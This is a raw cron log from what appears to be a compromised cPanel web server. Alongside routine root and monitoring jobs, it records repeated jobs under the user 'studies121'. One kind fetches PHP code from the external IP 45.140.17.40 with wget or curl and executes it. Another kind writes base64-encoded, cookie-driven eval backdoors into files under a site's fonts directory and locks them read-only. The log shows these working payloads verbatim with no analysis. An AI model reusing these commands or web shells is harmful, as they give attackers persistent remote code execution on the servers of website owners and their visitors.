Sep  3 06:46:01 ip-184-168-122-23 CROND[20564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:46:01 ip-184-168-122-23 CROND[20562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:46:01 ip-184-168-122-23 CROND[20563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:46:01 ip-184-168-122-23 CROND[20565]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 06:46:01 ip-184-168-122-23 CROND[20566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:47:01 ip-184-168-122-23 CROND[20693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:47:01 ip-184-168-122-23 CROND[20696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:47:01 ip-184-168-122-23 CROND[20697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:47:01 ip-184-168-122-23 CROND[20695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:48:01 ip-184-168-122-23 CROND[20880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:48:01 ip-184-168-122-23 CROND[20885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:48:01 ip-184-168-122-23 CROND[20882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:48:01 ip-184-168-122-23 CROND[20884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:48:01 ip-184-168-122-23 CROND[20883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:49:01 ip-184-168-122-23 CROND[20984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:49:01 ip-184-168-122-23 CROND[20987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:49:01 ip-184-168-122-23 CROND[20986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:49:01 ip-184-168-122-23 CROND[20988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:50:01 ip-184-168-122-23 CROND[21088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:50:01 ip-184-168-122-23 CROND[21091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:50:01 ip-184-168-122-23 CROND[21096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:50:01 ip-184-168-122-23 CROND[21095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:50:01 ip-184-168-122-23 CROND[21097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:50:01 ip-184-168-122-23 CROND[21098]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 06:50:01 ip-184-168-122-23 CROND[21100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:50:01 ip-184-168-122-23 CROND[21099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:50:01 ip-184-168-122-23 CROND[21103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:51:01 ip-184-168-122-23 CROND[21247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:51:01 ip-184-168-122-23 CROND[21251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:51:01 ip-184-168-122-23 CROND[21252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:51:01 ip-184-168-122-23 CROND[21250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:52:01 ip-184-168-122-23 CROND[21410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:52:01 ip-184-168-122-23 CROND[21414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:52:01 ip-184-168-122-23 CROND[21415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:52:01 ip-184-168-122-23 CROND[21413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:52:01 ip-184-168-122-23 CROND[21412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:53:01 ip-184-168-122-23 CROND[21629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:53:01 ip-184-168-122-23 CROND[21630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:53:01 ip-184-168-122-23 CROND[21632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:53:01 ip-184-168-122-23 CROND[21631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:54:01 ip-184-168-122-23 CROND[21768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:54:01 ip-184-168-122-23 CROND[21770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:54:01 ip-184-168-122-23 CROND[21771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:54:01 ip-184-168-122-23 CROND[21772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:54:01 ip-184-168-122-23 CROND[21773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:55:01 ip-184-168-122-23 CROND[21892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:55:01 ip-184-168-122-23 CROND[21894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:55:01 ip-184-168-122-23 CROND[21898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:55:01 ip-184-168-122-23 CROND[21899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:55:01 ip-184-168-122-23 CROND[21900]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:55:01 ip-184-168-122-23 CROND[21901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:56:01 ip-184-168-122-23 CROND[22003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:56:01 ip-184-168-122-23 CROND[22005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:56:01 ip-184-168-122-23 CROND[22006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:56:01 ip-184-168-122-23 CROND[22009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:56:01 ip-184-168-122-23 CROND[22010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:57:01 ip-184-168-122-23 CROND[22130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:57:01 ip-184-168-122-23 CROND[22132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:57:01 ip-184-168-122-23 CROND[22135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:57:01 ip-184-168-122-23 CROND[22133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:58:01 ip-184-168-122-23 CROND[22364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:58:01 ip-184-168-122-23 CROND[22366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:58:01 ip-184-168-122-23 CROND[22369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
